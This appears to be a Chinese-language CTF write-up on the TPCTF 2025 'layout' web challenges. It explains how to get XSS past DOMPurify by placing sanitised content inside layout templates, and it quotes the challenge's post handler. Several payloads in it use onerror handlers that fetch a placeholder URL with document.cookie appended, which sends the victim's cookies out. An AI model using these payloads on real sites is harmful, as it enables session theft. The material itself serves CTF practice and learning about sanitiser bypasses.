ctf-web: xss 任意位置插入情况绕过 DOMPurify -- tpctf layout

参考

https://ouuan.moe/post/2025/03/tpctf-2025

baby layout

题目会将 {``{cont}} 将被替换为有效负载,我们可以使用

html 复制代码
<img src="{{content}}">
html 复制代码
" onerror="fetch('{YOUR_URL}'+document.cookie)

拼接后是这样的

html 复制代码
<div>
      <img src="" onerror="fetch('{YOUR_URL}'+document.cookie)">
</div>

或者创造意外的闭合,因为</textarea>优先级大于"

html 复制代码
<textarea>{{content}}</textarea>
html 复制代码
<div id="</textarea><img src=x onerror=fetch('{YOUR_URL}'+document.cookie)>"></div>

拼接后是这样的

html 复制代码
<div>
	<textarea><div id="</textarea>
	<img src="x" onerror="fetch('{YOUR_URL}'+document.cookie)">">
</div>

或使用 data-x(safe layout非预期)

html 复制代码
<div data-x="{{content}}"></div>
html 复制代码
some_data" onerror="fetch('{YOUR_URL}'+document.cookie)

safe layout revenge

tips: 你可以使用 https://yeswehack.github.io/Dom-Explorer/ 来查看DOMPurify过滤后的内容

js 复制代码
// 创建文章接口,接收内容和布局ID,生成文章并保存  
app.post('/api/post', (req, res) => {  
  const { content, layoutId } = req.body; // 解构请求体中的内容和布局ID  
  if (typeof content !== 'string' || typeof layoutId !== 'number') {  
    return res.status(400).send('Invalid params'); // 参数类型检查  
  }  
  if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long'); // 检查内容长度是否超过限制  
  const layout = req.session.layouts[layoutId]; // 获取指定ID的布局  
  if (layout === undefined) return res.status(400).send('Layout not found'); // 布局ID无效  
  
  // 使用DOMPurify清理内容,去除不允许的HTML标签  
  const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] });  
  
  // 将内容插入布局中  
  const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);  
  if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long'); // 检查生成的文章长度是否超过限制  
  
  // 生成文章ID并保存到Map中  
  const id = randomBytes(16).toString('hex');  
  posts.set(id, body);  
  req.session.posts.push(id); // 将文章ID添加到session中  
  console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);  
  
  return res.json({ id }); // 返回文章ID  
});

注意正则表达式中存在/g,这意味这我们可以在模板中防止多个{``{content}},他们都会被替换

http 复制代码
a<style>{{content}}<{{content}}</style>
复制代码
img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style>

有效负载

html 复制代码
a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style><img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style></style>

会变成

html 复制代码
<div>
      a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie)
      <style></style>
      <img src="" onerror="fetch(`{YOUR_URL}/`+document.cookie)" <style="">
    </div>
相关推荐
jieyu11192 小时前
Python 实战:内网渗透中的信息收集自动化脚本(2)
python·网络安全·脚本开发
云声风语3 小时前
CTF-RSA-openssl-pem格式的key
网络安全·密码学
天纵软件13 小时前
全国网络安全知识竞赛有哪些
网络安全·技能知识竞赛·知识竞赛活动公司·知识竞赛活动策划·知识竞赛软件·高端知识竞赛活动
ScottePerk1 天前
前端安全之XSS和CSRF
前端·安全·xss
安全漏洞防治中心1 天前
Roadmap:一年实现安全漏洞防治自动化
运维·web安全·网络安全·自动化·漏洞管理·漏洞处置sop·漏洞紧急修复建议
Bruce_Liuxiaowei1 天前
使用批处理脚本安全清理Windows系统垃圾
网络·windows·安全·网络安全
lingggggaaaa1 天前
小迪安全v2023学习笔记(七十讲)—— Python安全&SSTI模板注入&项目工具
笔记·python·学习·安全·web安全·网络安全·ssti
Johny_Zhao2 天前
Linux防止rm误操作防护方案
linux·网络·人工智能·网络安全·信息安全·云计算·yum源·系统运维
艾小码2 天前
前端安全防护手册:对抗XSS、CSRF、点击劫持等攻击
前端·安全·xss
黑客影儿2 天前
Go特有的安全漏洞及渗透测试利用方法(通俗易懂)
开发语言·后端·安全·web安全·网络安全·golang·系统安全